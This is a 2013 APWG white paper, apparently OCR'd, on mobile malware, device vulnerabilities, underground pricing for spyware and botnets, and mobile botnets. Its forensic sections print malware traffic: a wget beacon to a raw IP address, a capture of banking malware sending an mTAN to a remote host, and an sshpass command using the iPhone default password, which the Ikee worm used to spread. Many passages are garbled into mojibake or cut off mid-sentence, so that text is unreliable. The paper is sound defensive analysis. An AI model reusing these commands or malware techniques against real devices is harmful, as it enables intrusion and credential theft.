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Disclaimer: PLEASE NOTE: The APWG and its cooperating investigators, researchers, and service

providers have provided this study as a public service, based upon aggregated professional experience

and personal opinion. We offer no warranty as to the completenesscgcou pertinence of these
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particular form of criminal attack. This report contains the research and opinions of the authors.

Please see the APWG wde § apwg.orgt for more information.
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Abstract

A rapidly advancing mobile market and a corresponding decline in PC sales , sees 2013
at acrucial intersection. Termed in a market trend asthe ? x G/U"Uera, mobile devices
increasingly present an attractive, practical and economical alternative. In the next few
years global mobile payments are predicted to exceed $1.3tn.

While there is already an established mobile malware market, now is the time to take
stock, to demonstrate the existence of such an industry and how it operates through
stealthy intrusion and crime ware supply chains.

This paper defines thesemalware markets and demonstrates the modus operandi of
an industry that is self -funding, prosperous, vertically stratified and agile.

Types of malware and attack methods under analysis include: spyware, phishing
direct attacks, Trojans, worms, apps delivered through malware, pocket botnets and
blended attacks, many of which are designed to steal or pilfer money fro m users.

pOUI 00PT | OEl WEEOUUWEOwWOPOI UzUwUUET | weOEwWi EEDPUU
This paper will provide a rhetorical approach towards mobile crime ware and the

intrusion supply chain's structurea Uwb Uwl REODPOI UWUUENI EUUwWPOWET xU0OI
perspective.

Introduction and  Starting Position

By 2015it is estimated there will be 2 billion + mobile devices.
China as an example now has 564 million Internet users: 75%are mobile.
Global mobile payments are predicted to exceed $1.3tA.

> > > >

Virustotal currently shows 5.6 million reported potentially malicious files for
Android (APK, dyn -calls, checksGPS, etc.)f which 1.3 million are confirmed
malicious by 2 or more AV vendors .

A While there is already an established mobile malware market, now is the time
to take stock, to demonstrate the existence of such an industry and how it
operates through stealthy intrusion and crime ware supply chains.

A Types of malware and attack methods under analysis include: spyware,

phishing direct attacks, Trojans, worms, apps delivered through malware,

pocket botnets and blended attacks, many of which are designed to steal or

pilfer money from users .

L http://www.juniperresearch.com/viewpressrelease.php?pr=332
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A Global Overview
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Figure 1:Mapping the Worldt Countriescurrently at highrisk from Mobile Threats

Vulnerabilities Overview

Types of vulnerabilities

Architecture
Infrastructure
Hardware vulnerabilities
Permission systems
Software vulnerabilities
Communication/delivery channels (Wi -Fi, SMS, Bluetooth)
Near Field Communication

PtH (Passing the Hash)
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Architecture

Open and programmable smartphones are transforming mobile communications.
Powerful sensors, capable of interacting with a growing number of mediums, drive
the change from multiple pieces of equipment to one convenient pocket-sized device.
With valuable data centralized , malicious attackers aim for the weakest link ¢ the
infrastructure architecture.

One highly customizable device has many obvious advantages. The capability of
sensors in gathering an array of information into one small location may, however,
come at a price. Data fuels an ever expanding industry where, sadly, not all the players
are scrupulous and trustworthy. There are genuine concerns over privacy ; the majority
of users find the selection of privacy settings and application permissions challenging,
if not confusing. Of concern, too, is the availability, and granularity, of modifiable
permissions. And where does that leave the important issue of security when most
users fail to even secure their devices with a password or PIN? These are not
encouraging signs when, increasingly, work and leisure use of smartphones is
overlapping .

Through GPS, accelerometers, gyroscopes, magnetometers, proximity sensors,
microphones, cameras and radio (cellular, Bluetooth, Wi-Fi, RFID, NFC) we can
interact with domains such as social networks, entertainment, education,
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been forgotten?

Infrastructure vulnerabilities  (handsets)

Malicious attackers seek out the weakest targets In the case of smartphonesattackers
are quick to exploit inherent infrastructure vulnerabilities.

Attackers will choose the attack mode depending on the target. However, some basic
features are strikingly similar across all operating systems. Devices may vary on
design, functionality or network stack Android, iOS, Symbi an OS, Microsoft Window

Mobile and Palm OS, all offer:

9 Access or support of a mobile network.

9 Access to the Internet through interfaces such as Bluetooth, WLAN, infrared or
GPRS,

TCP/IP protocol stack.

Desktop PC synchronization.

The ability to simultaneously run multiple applications.

=A =4 =4 =1

Open Application Programming Interface (APIs) to develop the applications.

In effect this means thattargets can be condensed into four main categories: hardware,
software, user, communication/delivery channels.
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Basically, targets are the same whether they are via adesktop computer, laptop or
mobile device ¢ the difference lays in the associatedrisk.

It could be argued, for example, that smartphone users should bear a greater
responsibility for the safety of a device they carry around, since thelikelihood is that
at some time or other a device wil | be lost, stolen or forgotten. This presents an
additional risk factor over static equipment, such as PCsor laptops/tablets, when size
makes them obtrusive or more obvious when not present. But is this just diverting

from the real problem? The solution to data being compromised, hijacked or stolen
should, essentially, be at the point where the data is stored, shared or inherent in the

data itself.

Hardware vulnerabilities

Screen size

Phishing is advanced through the constraints of a small screen. URLs can be stealthily
hidden or disguised to greater effect than on a desktop. Typosquatting, too, may pose
an additional risk asmisspelling, or hitting a wrong letter, is an easy mistake to make
on a small touch input keyboard .

Keyboards

) UUUOWEUwWi OUwUOT 1T wUEUI | Oity tnbndobil® dewiced rapeseat BOE UE z Uw U
serious facilitator for the success of frauds and attacks towards mobile users.

The BYOD paradigm here is enhancel,inUT EUwWOOEDOT wUOUI BUaO wpb DEBK @O
passwords for accountsthat they use mainly via mobile devices. It is especially true

that with touchscreen devices and virtual keywords, users tend to rely on short and

non-complex passwords (i.e., no special character, as the user needs to activate a

different keyboard layer in order to type it ), and this makes it easierto type a password
while on the move.

(@]
O

. OwlT 1T woUOT 1 UwT E OE O wserkl Nk ouB@tkBeEYOdEWEES|JdO nob & |

account.

3G & always -on

} QWEOEwWs EOPEAUwWOOzwxUI U OUUwWI EEOT UUwPBUT wdl POL
data. In the past stolen data was accomplished mainly via outgoing SMS or by taking

EEYEOUET I wOI wyih rhodeml Witd thezalkilabiliyR) -based 3G services

the bad guys can take advantage of IP data traffic flat contracts with no extra cost

passed on to the victim.

Flat rate contracts can mask the fact that data is beingstolen when, in the past, the user
may have discovered this upon receipt of the phone bill, or due to a sud den decrease
in phone credit on a prepaid SIM card. This usually determined that mobile fraud, via
texts to PRN numbers (dialers) in particular, had a short-life span.

Kernel
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The kernel acts as a bridge between the hardware and software programs. It is a high
risk target for any attack where control of any of the central functions is required.

Monolithic Kernel Microkernel "Hybrid kernel"
based Operating System based Operating System based Operating System

Application Application Application
System

Operating system

Server

Application UNIX | Device
IPC Driver

Figure 2:Monolithic & Microkernel structures

The Android kernel is especially vulnerable to specific attacks on its infrastructure
architecture. Android operates Linux using a single structured operating system
known as a monolithic architecture 2. This architecture prevents the isolation of internal
processes and increases the risk of exploitation once the Android kernel has been
compromised. If a bug is presentin any of the subsystems, it can be exploited to bypass
the security processes and tocontrol all of the permissions. Kernel code validation,
testing and updates are of vital importance to Android.

The number of lines of code in Linux-based kernels provides ammunition , for

competitors of the Android OS , when compared to, for example, microkernel-based

systems:. Using an average of one exploitable bug per line of code, a much quoted but

little quantified figure, the assumption is that more code equates to more bugs This is

a very simplistic view of an area with many variables. A research study at Purdue

University in 2010 looked at variables including bug fixes, code complexity and

reliability EOE wi OUOEwWUT EVWEUT wel OUPUaAawbOwWEOUT w OEUODE
OO0r7zOPI YT UOwWwUT 1T wEUUUOOD adered @tbaltastuf® la wificidt= U ODE w ? 6
fraction of bugls between 11% and 50866Q@uality management, therefore, is an issue

that needs careful execution.

Kernel integrity is an essential of basic security. Android r ooting or jail breaking the
iOS systemin order to customi ze smartphone features can seriously compromise this
integrity , especially if attempted without proper knowledge of how the system
operates. The first worm for jailboroken iPhones , 'Ilkeez demonstrated this in November

| YYNB ws ( Ol I zwUUE Bnallpapér idrteated iIPhones with la Bhotd df & w

2 http://lieeexplore.ieee.org/xpls/abs_all.jsp?anumber=6335029

3 http://www.techradar.com/news/phone -and-communications/mobile -phones/how-
blackberry-10-avoids-android -s-security-issues 1103381

4 https://engineering.pu rdue.edu/dcsl/publications/papers/2010/android_issrel0 submit.pdf
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FuN WY z U w x @GnduatitBeGanie time, scanned the network for other vulnerable
phones to infect®.

The vulnerability of jailbroken /rooted devices poses a significant threat to the
management of BYOD (Bring Your Ow n Device) in the workplace. Jailbreaking is
popular with users. Within a few days of the release of the first untethered jailbreak
for iPhone 5 and devices running iOS 6., installs reached 7 million é.

Codeproof Mobile Security detected approximately 11.19% of jailoroken mobile
devices worldwide 7. The situation in China is worse. The percertage of jailbroken
handsets dropped to 27.3% but increased by 5% when the iOS 6.1 jailbreak was
announceds.

Chinese users are particularly vulnerable to attack which is compounded by Chinese
Ul OUEUEOET wOOwWUxT UEET WEOOXxEUI EwUOOws UT 1 PUwWOYI UU
The legality of jailbreaking rema ins a complex issue with no uniform law enforceable
worldwide. In the United States, legislation under the remit of the Digital Millenniu  m

Copyright Act (DMCA), makes itillegal to unlock any new phone boughta fter January
23 2013. dilbreaking or rooting remains legal until at least 2015°.

Permission Systems

Android uses permission systems to implement mandatory access control (MA C).
When an application is installed it requests permission to access system resources such
as location, Internet, or the cellular network, from the user. Many users are unaware
of the implications of granting such permissions and install regardless of the level of
access requested. Permission to access the Internet, for example, allows unrestricted
communication with any server. Permission to access areas where personal data is

Software vulnerabilities

Delayed software updates

Delays in software updates can leave vulnerabilities open to exploitation. The large
code base ofmonolithic kernels, such asAndroid , renders the system especially open
to attack when a known vulnerability is slow to be patched - lagging on an update may
be the only flaw that an attacker needs in order to compromise the whole device. In
comparison microkernel -based OSscan be easier to manage due to its small size and
relatively s EOT EOz wx.l Ul OUOEOQEI

5 http://www.symantec.com/connect/blogs/ikee -worm -rickrolls -jailbroken -iphones

6 http://www.forbes.com/sites/andygreenberg/2013/02/08/evasiOn-is-the-most-popular -
jailbreak-ever-nearly-seven-million -ios-devices-hacked-in-four -days/

7 https://www.codeproof.com/PressRelease/Jailbroken _phones as of Jan 02 2013

8 http://www.slideshare.net/umengnews

9 https://www.eff.orgl/is_-it-illegal -to-unlock -a-phone
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Also, mobile users, who have little knowledge of data security, do not patch their
devices at once. This isespecially true if travelling: there are plenty of cases where the
user will not launch the update procedure due to the long time needed, or in casethe
phone discharges. These sers thenconnect the phone to the power plug and are then
unable to properly use the phone until returning home to carry out the update. This
can result in a delay in applying the patch of days, or even weeks.

Applications

Making and deploying a maliciou s app does nd require a high level of skill and
enticing users to download malicious software is relatively straightforward. Many
users are drawn to offers of free items, games or attractive pictures which they will
install even if unsure of the source.

Smart technology is revolutionizing the way we control things. Apps have the capacity
to deliver a fully automated living environment with appliances controlled from
outside the home. Anything from heating, lighting, alarm systems, smart TVs,
entertainment systems, even refrigerators, to management of financial data can be
instructed, or manipulated, from apps on one mobile device.

Trust in app stores may be misplaced in some cases. While some level of security is in
place to check for malware, bugs or exploit code may escape cursory checks. Once
installed, exploit code can attack a vulnerability to access passwords, personal data,
bank account numbers, text messages, etc., or exploit the camera/microphone for use
as a spying device.

Custom device in terfaces and features

Device manufacturers offer enhanced features to gain competitive advantage. This
may require an element of source code modification and adds to the potential for
vulnerabilities or flaws. In addition, the device vendor may need to por t the custom
user interfaces and features when updates are released, adding time and cost to a
device that is already sold.

The device manufacturer has little to gain from thorough quality management of
interfaces and may cache updates instead of promptly addressing known
vulnerabilities. At any one time this could amou nt to millions of devices with
unpatched vulnerabilities.

8
An APWG Industry Advisory
http://www.apwg.org | mobile@apwg.org
PMB 246, 405 Waltham Street, Lexington MA USA 02421



http://www.apwg.org/
mailto:mobile@apwg.org

White Paper: Mobile Fraud
APWG Mobile Threats and the Underground Marketplace 0 May 2013

Version Codename API Distribution

1.6 Donut 4 0.2%

21 Eclair 7 2.2%

22 Froyo 8 8.1%

23-232 9 0.2%
Gingerbread

233-237 10 45.4%

3.1 12 0.3%
Honeycomb

3.2 13 1.0%

4.03-4.04 Ice Cream Sandwich 15 29.0%

41 16 12.2% Eclair & older ® Froyo
Jelly Bean m Gingerbread ® Honeycomb

42 17 1.4% m Ice Cream Sandwich H Jelly Bean

Figure 3: Android versionsand distribution

Figures from Google for Android distribution illustrate the problem , as old versions
of the operating systems continue to present fragmentation as a serious problento,

Improved security is rendered relatively useless if old systems are still widely in use.

Users (as a Vulnerability )

Users are often maligned and even labelled asirresponsible for their apparent lack of
care over smartphone management. Low take-up on password or PIN application only
adds fuel to the fire

While users may bear some of the responsibility for a portable device that can easily
be lost or forgotten, is it fair to expect more than this?

Manufacturers, and vendors, want to sell their products and provide little guidance
other than basic start-up procedures. Devices are easy to buy and to operate and come
without instruction on how to stay safe other than a cursory ?install only from trusted
UOUUET U2 6 w U utBristedEsbubdeEmayriothe d tusted as we sbuld like.
Likewise, bills based on usage provide few incentives to carriers when they stand to
benefit from apps that use, misuse or exfiltrate data.

Usersmay have concerns about privacy of sensitive information but few understand

what this means in terms of giving permission to ac cess certain types of data Knowing

what connects to what and why is not always straightforward. For example, whatd oes

Ul PUEwWxEUUawUI UYI UU?> wOl EOwPOWEWET YPEI zUwi EQEE
phone identifiers ¢+ phone number, IMEI, IMSI, or ICC -ID ¢ connects to or tracks?

10 http://bgr.com/2013/02/08/android -version-distribution -february-2013316698/
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General advice onthe dangers posed by phishing O U w ? U O Bidavailadlé through

the sUx x OUOWOUWEOOOUOPUaAwWUI EUPOOUWOT wUOTT wOxI UEUO
mobiles is hard to find .

The size of the screen is exploitable; users may not be able to spot when a URL leads

to a fake site or to recognize when a shortened link sendsthem to a destination that
mimics a well -known brand.

QR codes offer new ways for fraudsters to trick mobile users. Malware can be hidden
within an app, if it is not from a trusted source, or can be embedded within the code .

Operators can help alleviate some ofthese problems with a more proactive approach
towards providing educational material for users and by making it easier to obtain
information on the latest threats.

Communication/ Delivery Channel Vulnerabilities

Smartphones connect to and deliver a growing number of communication channels.
The advent of 4G will increase the capability and introduce new platforms for
cybercriminals to exploit .

Wi-Fi

Open Wi-Fi networks are used extensively by hotels, cafes, bars, buses, trains, airports,
etc., but more recenly stores are enticing shoppers with an additional range of
services, or 'personal congerges', available directly on the mobile, while in -store.
Servicescan range from product details, to deals and offers, which aim to enhance the
'shopping experience’, and to gain more sales. JiWire Mobile Audience Reports for Q2
2012 found that 93.6% of smartphone owners used their mobile device while in-store,
Further, the availability of in -store Wi-Fi influenced where the majority would shop.
Abuse of privacy is not the only issue; malicious intruders could access to the network,
hijacking the system or snoop on individuals.

As part of the firmware Wi -Fi chips can be vulnerable to attack from bugs in the

coding. An example of this type of vulnerability was disclosed Ea ws " OUIl w21 EUUDPUA :
Oct 2012 with the issue of an advisory detailing how the Wi -Fi NIC could be prevented

from responding 2. A patch was subsequently released by Broadcom.

11 http://www.jiwire.com/sites/default/files/JiWire_Insights Q4 2012.pdf
12 http://www.coresecurity.com/content/broadcom -input -validation -BCM4325BCM4329
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SMS

Successful exploitation of SMS can be
carried out through spoofing or hijacking Example

which has led to large financial losses in
many countries, and the regulations in France - Oct 2012- 20-year-old hacker

Uxl EPI PEw EOUBOUDI U; using fake Android apps, establi shed
unintentionally  facilitate this3. Unlike EwYDUUUwWOOwWhAOYYY u

other features SMS cannot be turned off.

to send premium rate SMS messages.
Attackers find the singular messaging 31 KYOYYYwpzwkYYOYY
communication process used by And roid

http://www .frandroid.com/actualites

easier to abus than the log-driver generales/117583_simois-de-prisonferme-
mechanism used by some other operating pour-notre-hackernationatdamiens/

systemssuch as Windows.

Malicious programs, known as man -in-the-middle, hijack SMS containing mTAN s
(Mobile Transaction Numbers) codesused by financial institutions around the world

to authenticate online banking transactions. MTANS were considered to be safe from
attack until hackers modified the Zeus and SpyEye (SPITMO, MITMO) Trojans,
snatched mTAN codes from Android mobiles to steal millions 4.

Bluetooth

The first recognized virus that propagated via an open Bluetooth was discovered in
20045, The virus, known as Cabir, exploited a programming vulnerability that enabled
the infected device to connect to other Bluetooth devices in the same vicinity.

Bluetooth vulnerabilities continue to be discovered and fixes subsequently issued.
Users frequently leave Bluetooth enabled, with many seemingly unaware of the
increased risk from attack that this poses. Permission selection and incorrect
implementation of Bluetooth protocols , leave devices vulnerable and insecure.

Bluesnarfingzis unauthorized access from a wireless connection through a Bluetooth
connection?®s, There are several tools on the market to safeguard against this type of
attack.

Bluetooth is also used for spamming!” in crowded places for all nearby
discoverable/visible BT devices through using the OBEX protocol, more specific OOP
(Obex Object Push) and/or OBEXFTP (OBEX File Transfer Protocol), such technique

13 hitp://tamsppc.tamoggemon.com/2007/10/05/public-service-announcement-sms-scant
running -rampage-in-austria/

14 http://blogs.mcafee.com/mcafee-labs/spitmo -vs-zitmo -banking -trojans-target-android
15 http://www.theregister.co.uk/2004/06/ 15/symbian_virus/
16 http://ieeexplore.ieee.org/xpls/abs_all.jsp?arnumber=6269870

17 Bluetooth Spammer
https://play.google.com/store/apps/details?id=com.smartmadsoft.bluetoothspammer
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http://www.frandroid.com/actualites-generales/117583_six-mois-de-prison-ferme-pour-notre-hacker-national-damiens/
http://www.frandroid.com/actualites-generales/117583_six-mois-de-prison-ferme-pour-notre-hacker-national-damiens/

White Paper: Mobile Fraud
Mobile Threats and the Underground Marketplace 0 May 2013

is called «BlueSpanw. It is also knows that some companies® use it for marketing
purposes as well aswith some phishing schemes.

Near Field Communication (NFC)

The benefits of NFC technology used for contactless payments, file transfers, the

sharing of information via social networking and Wi-Fi enabling tags, etc., are sure to
increasingly unfold as the standard continue to evolve. Sadly, malicious attackers will

also take up the challenge to find ways in which to circumvent the technology. Some

NFC vulnerabilities are already detailed. For example, ATMs enabled with NFC
technology can have card skimmers installed, tags can be infected with malicious apps,

and ID cards can be cloned.The NFC stack is the target of one type of attack that

si Uaal UzwUIl Ol EUDPYI uoddolaandldpplicBtiorE @ WetdtOdnalydisi 1 w x U
showed that an attacker in close proximity can parse one of over 20 different formats

without any interaction by the user 9.

PtH (Passthe -Hash)

A technigue that bypasses the need to crack or guess a password to gain unathorized
access to an accountnetwork or within the emerging threat landscape of the mobile
environment .

Passwords are stored in environments that can be compromised, for example, in
plaintext, reversible encryptio n or in a hash format. An attacker can remove the need
for time -consuming password once he holds the password hash. (This technigue is
described in greater detail in the SANS Institute InfoSec Reading Room paper.)

The existence of Pasghe-Hash has been known about for more than fifteen years but
still remains relatively unknown am ong the wider security industry. PTH is often
employed as part of Advanced Persistent Threats (APT) and used for industrial
espionage. Once inside a systeman intruder may lay undetected for long periods of
time.

18 http://www.blueblitz.com/

19 hitp://media.blackhat.com/bh -us-
12/Briefings/C_Miller/BH_US 12 Miller NFC_attack surface WP.pdf

20 http://www.sans.org/reading_room/whitepapers/testing/pass -the-hash-attacks-tools-
mitigation 33283
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The Underground Mobile Market

Pricing
Sample Toolkits & Service Price (USS) - March 2013 Example Descriptions
Mobile intrusion (keyloggers) Open Source - 400 Java & Python Keyloggers, Mobistealth,
i i i Re-engineered Finfisher, Finfisher Lite &
Mobile Intrusion (surveillance) 500 - 5,000

FlexiSpy extended copies

Eurograbber, ZitMo, Tinba Trojan,

Mobile malware for banking theft 10,000 - 30,000 } . . .
DroidCleaner, Citadel (inc. PtH capabilities)

Mobile botnet (rental) 50 - 400 Hourly rates

Mobile botnets (operational &

) 4,000 - 30,000 Mobile ISP service, SMS, & Drive by
tailored source code)

Used to traffic redirects, J2ME midlets, or
5,000 -10,000 standard applications for the popular

platforms.

Mobile malware for black SEO and
underground partnership programs

. . Can be bought through special underground
Mobile traffic by targeted country 10 — 30 per 1,000 hosts .
services (by area, by country)

Mobile SMS spam service 2-8 cents per 1 SMS Mobile spamming
Mobile SMS spamming tool 30-50 SMS spamer by klychev v0.3
Mobile flooder (Skype or SIP) 30-80 Skype Flooder

Tablel: eCrime market current pricing (March 2013)

Market status

The mobile malware black market remains a work-in-progress as it continues to
develop and evolve according to demand. Cybercriminals skilfully manipulat e the
market and maximize the potential from advertising on underground forums and
social networking sites.

The most popular mobile malware available on the market take advantage of a number
of key properties, for example:

1 Brands with well -known graphical designs, famous applications or legal
entities such as financial institutions, e -commerce, stock/etrading
applications, applications for social networking, etc.;

1 SMS orphone calls to other numbers (sometimes with a silent install of mobile
malware on the system);

1 Mobile banking appl ications that store customers credentials in insecure and
plaintext form;
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T ?) E&ké& WEI YPEI U
1 Non-verification of application source ,
1 Wireless channels (NFC, WPAN networks).

The demand for surveillance tools on the underground market is high and may, or
may not, include malware. Essentially, the techniques used are similar on all devices
or computers. The key targets of cyber espionage are

1 Information stealing including contact lists, text messages, calls history,
information about c ompromised device (IMEI, Device IDs, external IP and
etc.

1 Call recordings including Skype conversations.

With the addition of special tools used traditional ly for penetration testing , modern
smartphones can become an aid in cyber espionage®. The mobile environment has
provided new opportunities for the hacker.

Underground partnership programs enable cybercriminals to monetize through
mobile malware. SMS plays a large part in these operations and can be distributed
across the range of popular OSes. Unslicited SMS or calls to expensive humbers in
different countries run up large bills to the credit of the billing provider.

Some underground cybercrime services take advantage of mobile traffic using
targeted attacks to download software which is charged on the basis of 7/ Ea w/ 1 Uw
Install? wp?./ ( K

On the other side, the 0days underground market is rising up too, offering fresh and

unknown exploited vulnerabilities (especia Ily in the Android environment). These

often work only on specific brands (i.e. Samsung, Huawei), and handsets models,

PI DET wpDOOwWUT 1 OWET w? bl Ex GldBtibute mabiedrawdie) | EwOEUUE
campaigns.

21 Some of malware used for cyber espionage al® intercept GPS coordinates, acoustic
shapshots to monitor the person and different situations

22 AFE (Android Framework for Exploitation)
23 See theCybercrime Supplemeifdr further details and examples.
14
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Mobile DNS & Traffic

It is important to monitor wireless users within a corporate network and check for
signs of ? N E dxéhEddvices. There areMobil e Device Management systemsdesigned
specifically for this purpose. 24,

Testing network traffic for UDID transmission is a useful aid within the mobile

x1 Ol OUEUDPOOwWUI UUDPOT wi OY b U O Qitecti) Wdénify irHorez Uw EEOw E
owners and to collate personal data on an individual , for example geo-location data,

which may be passed to third parties without the consent of the useré w( | w4 # ( # z UwEUI
present in network traffic, it may indicate the presence of malicious activity.

The UDID (Unique Device Identifier) of an iPhone can be locatedusing this formula :
UDID = SHAIL(Serial Number + ECID + LOWERCASE (WiFi Address) +
LOWERCASE(Bluetooth Address).

Note: The ECID (ExclusiveChip Identifie) is used mainly for beta testing firmware
and appsdut an app developer can aiddprotection in a cracked versiom block the
UCID and replace it with a fake/spoofed UCID.

TheSHAL (Secure Hash Algorithnm3 the most widely used tife NISTapprovedash
algorithms.

In some cases tle devicetransfers special timing data to the network . This can be used
during forensic analysis to indicate the presence of intruders:

% wget Oduser - agent= OHTMLGET 1.00
92.61.38.16/xml.p.php?id=1234502: - HH:MM:SS3
http:/ /92 .61.38.16/xml.p.php?id=1234503: => p.php@id=12345 0

24 http://www.f5.com/products/mobile -app-manager/overview/
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il Follow TCPStream & 4 W . . & = & 1.- T L LN ‘E@ﬁ

Stream Content

GET /geo/txt/city.php HTTP/1.0
Host: promos.fling.com
connection: close

HTTP/1.1 200 OK

server: nginx

Date: Tue, 10 Apr 2012 18:18:00 GMT
content-Type: text/html

connection: close "
X-Powered-By: PHP/5.3.10

Set-cookie: city_name=Montreal; expires=wed, 11-Apr-2012 22:04:40 GMT

set-Cookie: state_code=QC; expires=wed, 11-Apr-2012 22:04:40 GMT ]
Set-Cookie: state=deleted; expires=Thu, 01-3Jan-1970 00:00:01 GMT i
set-cookie: country;code-CA' expires=wed, 11-Apr-2012 22:04:40 GMT I

_—— e =

Set-Cookie: country_name=Canada; exp1res-wed 11-Apr-2012 22:04:40 GMT
set-cookie: latitude=45.5; expires-wed 11-Apr-2012 22:04:40 GMT
Set-Cookie: longitude=-73.5833; expires=wed, 11-Apr-2012 22:04:40 GMT

document.write("Montreal™);

|
" [
]
]
|
[ |
| | Entire conversation (727 bytes) 3
! find || Saveas |[ prnt |® Asch EBCDIC Hex Dump C Arrays © Raw
[ Help | Filter Out This Stream [ Close l

Figure4: Valuable personal data being transferred via the network

This is useful information in regard to active C&C fingerprinting on the mobile device.

:Untent—l_engtﬁ: 1803

Connection: Keep-alive

Cache-control: no-cache

Cookie: MPRF=H4sIAAAALAAMARNSWORST 2 _Ky X ] Z0BgFGCUY ATG S IMogoanas

....;.$— .de. -winm-PocketPCy5. 2,19965-HTC_Touch_Diamondweb. . 3.0, 0.12. ... Auth....g2ip. . true. .GPS. . True
..................... mscs. . 524288, ... . .guif. . 1152... ...

|a s|i= 39| O O - I Vo oo 020850 0000 t..2047...

L. T. . 30682

St ]l 1) oS PR A A LT T..2084

St ()15 ] S Lo o 3008 0 o

L .T. 21200, ..., T..2092...... To o ddlF@o 0 0 oo a T..2008...... To odlALF o 0 oo a T..25606. . K. .T..4340...... T..1501....
=0 L= 0] B SR e e mscs. . 524288, . ..., guis.. 11058, .. k.. k.

la=s|4=17].......

[ERES] RIE 1574 | P —— €oo | =D =] 00 0llo oo

[T I = T

AL A2 swtosLdvwaw _Tm3GI: mQFMebEmJVII]Sw2% vodatone.de ..., o =
00 18-41-a4-4f-08....0.">

booooao oo collococooooosoooooo F e #Fouan

EEEamREa a...

a#zw'tcsL4vw2w :Ir.rIE(IEI-II-I.J:I(:.ll-:I':ﬂ;EbEmJVII]SW2% S - - .. .. .. .. [N R EEE
L 00-18-41-a34-4f-09....0.

!

B A ¢ R R B B R

h—— T - T e T

AL A2 swtosLdviwdw _Tm3GT: mQFMebEmJVII]Sw2% Jvodatone.de ..., . =

00 18-41-a4-4f-09....0."v

Figure5: The device communicates valuaddea
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In this example specific MTAN data, used for online-banking transfer validation, is
transfered along with other criteria which is targeted by banking mobile malware :

SRreanm Content -|
|GET_/sms/gate. php?sender=15555215556&raceiver=155552155548TaxT =My+mTan+ 15412345678
HTTP/L. 1

User-agent: Dalvik/1.4.0 (Linux; U; Android 2.3.3; sdk Build/GRIZ4)

Host: 124ffd2.com

Connection: keep-Alive

accept-gncoding: gzip

HTTP/1.1 502 Cannot Connect

Date: wed, 14 Sep 2011 14:56:24 GMT
Server: bDeleGate/9.9.5
DeleGate-ver: 9.9.5 (delays=3)
MIME-version: 1.0

Content-Type: text/html
content-Length: 855

Connection: close

<TITLE> Cannot Connect </TITLE>
<H2>Cannot Connect</H2>

connection failed by peleGate on "124ff42.com:80"
<P>

T Me: My mTAN Is 12345678

Figure6: An attack targets MTAN data sent vis SMS

Sent: 10:56AM

Each iPhone application has its own unique identifier stored in the
Ivar/mobile/applicationdirectory and it is from here that all the code for the application
executes.

The Plist (Property List) directory stores user preferences and configuration

information. All communications between a botnet and its C&C are usually organized

with help of the preference file Lom.apple.period.pls#hd U1 $ysiog) shell scripzsThe

sHO*T 11 zwb/ T 001 WEOUOI UOwi OU wi GHEdad tasutheOUUE OO U wi
ability t o archive all SMS messages.

The bot probes every few seconds and regularly polls back to the C&C, every 5

OPOUUI UwkPPUT wsB*T 1! zOwbl PET WEOCOOPUWUT I WEEEPUDO
spreads.

The detection of suspicious external behavior, such as described here,can become a

useful tool within the mobile penetration testing environment and organizations

should be proactive in their approach to BYOD management. The monitoring of

mobile network traffic can play an important role and more needs to be done to raise
awareness of its value as BYOD evolves within the workplace.

25 http://mtc.sri.com/iPhone/
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iBots & the Pocket Botnet

In a relatively short period of time, mobile botnets have passed from theory into
reality. It is not only possible for botnets to control mobile devices, but mobile botnets
are becoming increasingly sophisticated.

The methodology and possible architecture is quite similar to cl assical botnet malware
for PCs.

C&C Download Centers

(Command &
Control center) —

= Master iBot
Botherder

Sentinel iBofs
Long Infected

sz 0 6D i

%DT UUI wA o w, OE &xanibeugmildd e BC HowmeatsE OUO1 U U w

In the same way that botnets can be used to redirect traffic from websites accessed via
PCs, botnets can be used to redirecthe traffic on mobiles to malicious websites or for

the purpose of monetizing.

18
An APWG Industry Advisory
http://www.apwg.org | mobile@apwg.org
PMB 246, 405 Waltham Street, Lexington MA USA 02421



http://www.apwg.org/
mailto:mobile@apwg.org

White Paper: Mobile Fraud

APWG Mobile Threats and the Underground Marketplace 0 May 2013

Figure & Mobile iPhone botnet for mobile traffic redirects

Mobile botnets can be launched via DD oS dtacks. Devicesmay be infected for a long
time without detection just the same as DDoSsent from static computers that become
part of a zombie network . Android.DDoS.1.origin creates an application icon that
looks similar to Google Play. It connects to a emote server and responds to the
command to send packet requests to a specified addres#.

Another kind of bot acts like awor m within the mobile operatorz network. One of the
most famous examples is IKee.B malware?, which scans an IP range to detect iPhones
with theET I EUOQUW?EOxT DOl 2 uxEUUPOUEwWOOwW?22" #0

sshpass - p alpine ssh - 0 StrictHostKeyCheck

26 http://news.drweb.com/show/?i=3191&Ing=en &c=14
27 http://mtc.sri.com/iPhone/
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